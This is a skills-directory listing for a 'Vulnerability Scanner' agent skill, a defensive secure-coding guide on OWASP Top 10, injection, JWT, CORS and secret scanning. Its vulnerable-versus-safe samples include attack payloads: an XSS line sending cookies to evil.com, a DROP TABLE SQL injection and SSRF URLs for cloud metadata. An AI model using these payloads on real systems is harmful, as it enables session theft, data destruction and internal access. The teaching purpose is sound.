Skills DirectorySkills Directory
SkillsLearnSecurityCategoriesDocsBlogPro
Sign InSubmit Skill
Skills Directory

Security-tested agent skills for Claude, coding agents, and AI workflows.

Directory

  • Browse Skills
  • All Skills A–Z
  • Claude Skills
  • Claude Code Skills
  • Agent Skills
  • Categories
  • Authors
  • Submit a Skill

Learn

  • Learn Hub
  • Install Claude Skills
  • Write SKILL.md
  • Skills vs MCP
  • Directories Compared

Security

  • Security
  • Methodology
  • Secure Claude Skills
  • Security Badges
  • Chrome Extension
  • Skill Manager

Company

  • About
  • Community
  • Blog
  • API Docs
  • Advertise

2026 Skills Directory. All rights reserved.

ProTermsPrivacyRefunds
Back to skills

Vulnerability Scanner

ASecurity

Use when Security vulnerability analysis mastery. OWASP Top 10 (2025), injection attacks (SQL, XSS, SSRF, command), authentication/authorization flaws, dependency vulnerabilities, secret scanning, CORS misconfiguration, supply chain attacks, and security headers. Use when auditing security, reviewing code for vulnerabilities, or hardening applications.

5 stars
0 votes
0 copies
1 views
Added 9/27/2026
ai-agentstypescriptrustgobashsqlreactawsgitapidatabase

Works with

cliapi

Security Analysis

A96/100
mediumInstalls packages at runtime which could introduce malicious dependencies

Pro scans all 2 files and shows the line behind each finding

Scanned 9/27/2026

$npx -y skills add Harmitx7/tribunal-kit --skill vulnerability-scanner --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Vulnerability Scanner?

Add the live security badge to your README — it updates automatically with every re-scan.

Security grade badge for Vulnerability Scanner
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/harmitx7-vulnerability-scanner-tribunal-kit/badge)](https://www.skillsdirectory.com/skills/harmitx7-vulnerability-scanner-tribunal-kit)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
Files
SKILL.md
---
name: vulnerability-scanner
description: "Use when Security vulnerability analysis mastery. OWASP Top 10 (2025), injection attacks (SQL, XSS, SSRF, command), authentication/authorization flaws, dependency vulnerabilities, secret scanning, CORS misconfiguration, supply chain attacks, and security headers. Use when auditing security, reviewing code for vulnerabilities, or hardening applications."
version: 5.0.0
last-updated: 2026-09-13
skills:
  - backend-security-expert
  - frontend-security-expert
  - api-security-auditor
tools: Read, Grep, Glob, Bash, Edit, Write
scripts-binding:
  - .agent/scripts/lint_runner.js
  - .agent/scripts/verify_all.js
---

# Vulnerability Scanner — Security Analysis Mastery

---

## 🛠️ Technical Architecture & Reference Recipes

---

---

## OWASP Top 10 (2025)

```
A01  Broken Access Control         → Missing authorization checks
A02  Cryptographic Failures        → Weak encryption, exposed secrets
A03  Injection                     → SQL, XSS, command, LDAP
A04  Insecure Design               → Missing threat modeling
A05  Security Misconfiguration     → Default credentials, verbose errors
A06  Vulnerable Components         → Outdated dependencies
A07  Authentication Failures       → Weak passwords, missing MFA
A08  Data Integrity Failures       → Untrusted deserialization, missing SRI
A09  Logging & Monitoring Failures → No audit trail, alert blindness
A10  SSRF                          → Server-side request forgery
```

---

## Injection Attacks

### SQL Injection

```typescript
// ❌ VULNERABLE: String interpolation in SQL
const query = `SELECT * FROM users WHERE email = '${email}'`;
// Attack: email = "'; DROP TABLE users; --"

// ✅ SAFE: Parameterized queries
const result = await db.query('SELECT * FROM users WHERE email = $1', [email]);

// ✅ SAFE: ORM (Prisma, Drizzle)
const user = await prisma.user.findUnique({ where: { email } });

// ❌ HALLUCINATION TRAP: Template literals are NOT parameterized
// ❌ db.query(`SELECT * FROM users WHERE id = ${id}`);  ← VULNERABLE
// ✅ db.query("SELECT * FROM users WHERE id = $1", [id]); ← SAFE
```

### XSS (Cross-Site Scripting)

```typescript
// ❌ VULNERABLE: innerHTML with user input
element.innerHTML = userComment;
// Attack: userComment = "<script>document.location='https://evil.com?c='+document.cookie</script>"

// ✅ SAFE: textContent (no HTML parsing)
element.textContent = userComment;

// React auto-escapes by default — BUT:
// ❌ VULNERABLE in React:
<div dangerouslySetInnerHTML={{ __html: userInput }} />  // bypasses escaping

// ✅ SAFE in React:
<div>{userInput}</div>  // auto-escaped

// Content Security Policy (defense in depth)
// Add HTTP header:
// Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
```

### SSRF (Server-Side Request Forgery)

```typescript
// ❌ VULNERABLE: fetching user-provided URLs
app.get('/proxy', async (req, res) => {
  const data = await fetch(req.query.url).then(r => r.text());
  res.send(data);
});
// Attack: url = "http://169.254.169.254/latest/meta-data/" (AWS metadata)
// Attack: url = "http://localhost:6379/" (internal Redis)

// ✅ SAFE: Allowlist of domains
const ALLOWED_HOSTS = new Set(['api.example.com', 'cdn.example.com']);

app.get('/proxy', async (req, res) => {
  const url = new URL(req.query.url as string);
  if (!ALLOWED_HOSTS.has(url.hostname)) {
    return res.status(403).json({ error: 'Domain not allowed' });
  }
  // Additional: block private IP ranges
  const ip = await dns.resolve4(url.hostname);
  if (isPrivateIP(ip[0])) {
    return res.status(403).json({ error: 'Private IP not allowed' });
  }
  const data = await fetch(url).then(r => r.text());
  res.send(data);
});
```

---

## Authentication & Authorization

```typescript
// JWT Best Practices
import jwt from 'jsonwebtoken';

// ✅ SAFE: Specify algorithm explicitly
const token = jwt.sign(payload, SECRET, {
  algorithm: 'HS256', // explicit
  expiresIn: '15m', // short-lived access token
  issuer: 'myapp',
});

// ✅ SAFE: Verify with explicit algorithms
const decoded = jwt.verify(token, SECRET, {
  algorithms: ['HS256'], // MUST specify — prevents algorithm confusion attack
  issuer: 'myapp',
});

// ❌ HALLUCINATION TRAP: jwt.verify() without algorithms option is VULNERABLE
// ❌ jwt.verify(token, SECRET);  ← accepts ANY algorithm including "none"
// ✅ jwt.verify(token, SECRET, { algorithms: ["HS256"] });

// Authorization: check BEFORE business logic
app.delete('/api/posts/:id', async (req, res) => {
  const post = await getPost(req.params.id);
  if (!post) return res.status(404).json({ error: 'Not found' });

  // ✅ Authorization check BEFORE delete
  if (post.authorId !== req.user.id && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden' });
  }

  await deletePost(post.id);
  res.status(204).send();
});
```

---

## Dependency Security

```bash
# Check for known vulnerabilities
npm audit                    # built-in
npx snyk test                # Snyk (more comprehensive)
npx socket check             # Socket.dev (supply chain)

# Auto-fix
npm audit fix

# lock file integrity
# ✅ Commit package-lock.json / pnpm-lock.yaml
# ✅ Use npm ci in CI (not npm install)
# ✅ Pin exact versions for critical dependencies
# ✅ Enable Dependabot or Renovate for auto-updates
```

```
Supply chain attack vectors:
1. Typosquatting     → "recat" instead of "react"
2. Maintainer hijack → compromised npm account
3. Dependency confusion → private package name exists on public registry
4. Malicious postinstall → runs arbitrary code on npm install
5. Abandoned packages  → unmaintained, no security patches

Defense:
- Review new dependencies before adding
- Use npm audit in CI (fail on high severity)
- Pin versions, review lockfile diffs
- Use --ignore-scripts for untrusted packages
```

---

## Security Headers

```typescript
import helmet from 'helmet';

app.use(helmet()); // Sets secure defaults

// Key headers set by helmet:
// Content-Security-Policy    → Controls resource loading
// X-Content-Type-Options     → Prevents MIME sniffing (nosniff)
// X-Frame-Options            → Prevents clickjacking (DENY)
// Strict-Transport-Security  → Forces HTTPS (HSTS)
// X-XSS-Protection           → Legacy XSS filter (deprecated, CSP is better)
// Referrer-Policy             → Controls referrer header

// CORS — never wildcard in production
app.use(
  cors({
    origin: ['https://myapp.com', 'https://admin.myapp.com'],
    methods: ['GET', 'POST', 'PUT', 'DELETE'],
    credentials: true,
  }),
);

// ❌ HALLUCINATION TRAP: origin: "*" disables CORS protection entirely
// ❌ cors({ origin: "*" })  ← allows any website to call your API
// ✅ cors({ origin: ["https://myapp.com"] })  ← whitelist specific domains
```

---

## Secret Scanning

```
Secrets that MUST be in environment variables:
- Database connection strings
- API keys (Stripe, SendGrid, etc.)
- JWT signing secrets
- OAuth client secrets
- Encryption keys

Detection tools:
- git-secrets (pre-commit hook)
- TruffleHog / detect-secrets (scan history)
- GitHub secret scanning (automatic)
- GitGuardian (enterprise)

If a secret is committed:
1. IMMEDIATELY rotate the secret (new key/password)
2. Remove from git history (BFG Repo-Cleaner or git-filter-repo)
3. Force-push cleaned history
4. Audit access logs for the compromised secret
5. Post-incident review
```

---

---

## Security Checklists

---

### OWASP Top 10 Audit Checklist

#### A01: Broken Access Control

- [ ] Authorization on all protected routes
- [ ] Deny by default
- [ ] Rate limiting implemented
- [ ] CORS properly configured

#### A02: Cryptographic Failures

- [ ] Passwords hashed (bcrypt/argon2, cost 12+)
- [ ] Sensitive data encrypted at rest
- [ ] TLS 1.2+ for all connections
- [ ] No secrets in code/logs

#### A03: Injection

- [ ] Parameterized queries
- [ ] Input validation on all user data
- [ ] Output encoding for XSS
- [ ] No eval() or dynamic code execution

#### A04: Insecure Design

- [ ] Threat modeling done
- [ ] Security requirements defined
- [ ] Business logic validated

#### A05: Security Misconfiguration

- [ ] Unnecessary features disabled
- [ ] Error messages sanitized
- [ ] Security headers configured
- [ ] Default credentials changed

#### A06: Vulnerable Components

- [ ] Dependencies up to date
- [ ] No known vulnerabilities
- [ ] Unused dependencies removed

#### A07: Authentication Failures

- [ ] MFA available
- [ ] Session invalidation on logout
- [ ] Session timeout implemented
- [ ] Brute force protection

#### A08: Integrity Failures

- [ ] Dependency integrity verified
- [ ] CI/CD pipeline secured
- [ ] Update mechanism secured

#### A09: Logging Failures

- [ ] Security events logged
- [ ] Logs protected
- [ ] No sensitive data in logs
- [ ] Alerting configured

#### A10: SSRF

- [ ] URL validation implemented
- [ ] Allow-list for external calls
- [ ] Network segmentation

---

### Authentication Checklist

- [ ] Strong password policy
- [ ] Account lockout
- [ ] Secure password reset
- [ ] Session management
- [ ] Token expiration
- [ ] Logout invalidation

---

### API Security Checklist

- [ ] Authentication required
- [ ] Authorization per endpoint
- [ ] Input validation
- [ ] Rate limiting
- [ ] Output sanitization
- [ ] Error handling

---

### Data Protection Checklist

- [ ] Encryption at rest
- [ ] Encryption in transit
- [ ] Key management
- [ ] Data minimization
- [ ] Secure deletion

---

### Security Headers

| Header                        | Purpose          |
| ----------------------------- | ---------------- |
| **Content-Security-Policy**   | XSS prevention   |
| **X-Content-Type-Options**    | MIME sniffing    |
| **X-Frame-Options**           | Clickjacking     |
| **Strict-Transport-Security** | Force HTTPS      |
| **Referrer-Policy**           | Referrer control |

---

### Quick Audit Commands

| Check              | What to Look For            |
| ------------------ | --------------------------- |
| Secrets in code    | password, api_key, secret   |
| Dangerous patterns | eval, innerHTML, SQL concat |
| Dependency issues  | npm audit, snyk             |

---

**Usage:** Copy relevant checklists into your PLAN.md or security report.

Attribution

Harmitx7Harmitx7
View sourceSee grades on GitHubMore from Harmitx7 →
SSkills DirectorySkills Directory

Ship a skill? Prove it's safe.

Free 120-pattern security scan, letter grade, and an embeddable README badge.

Submit a skill

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments (0)

No comments yet. Be the first to comment!

SSkills DirectorySkills Directory

Ship a skill? Prove it's safe.

Free 120-pattern security scan, letter grade, and an embeddable README badge.

Submit a skill

Related Skills

Caveman

Terse caveman voice: answer first, fluff gone, every technical fact kept. Use for /caveman, "caveman mode", "talk like caveman", "be brief", "less tokens". Stays on until "stop caveman" or "normal mode".

1100021 votes

Hyperplan

Adversarial multi-agent planning skill. Self-orchestrates 5 hostile category members (unspecified-low, unspecified-high, deep, ultrabrain, artistry) via team-mode for ruthless cross-critique debate, distills only the defensible insights, then MANDATORILY hands the distilled insight bundle to the `plan` agent for executable plan formalization. Use when planning needs maximum rigor and surfacing of weak assumptions, blind spots, and over-engineering. Triggers: 'hyperplan', 'hpp', '/hyperplan', ...

698621 votes

Writing Skills

Create and manage Claude Code skills in HASH repository following Anthropic best practices. Use when creating new skills, modifying skill-rules.json, understanding trigger patterns, working with hooks, debugging skill activation, or implementing progressive disclosure. Covers skill structure, YAML frontmatter, trigger types (keywords, intent patterns), UserPromptSubmit hook, and the 500-line rule. Includes validation and debugging with SKILL_DEBUG. Examples include rust-error-stack, cargo-dep...

3931 votes

Mcp Code Execution

Routes multi-tool workflows through MCP servers for large datasets and pipelines. Use when Bash tool overhead is limiting throughput on data-heavy tasks.

3421 votes

catchup

Recovers the conversation and failed tool calls of a previous Codex, Amp, Claude Code, Antigravity, Cline, Copilot CLI, Cursor, DeepSeek Harness, Grok Build, Kimi, OpenCode, Pi Agent, or ZCode session. Use when the user says "catch up", "what did the last session do", "get me up to speed", "I switched agents", asks to recover/summarize a previous session before continuing, or asks to diagnose or report a catchup failure. Do NOT use for the current conversation, git history, or any non-agent log.

741 votes
View all in ai-agents →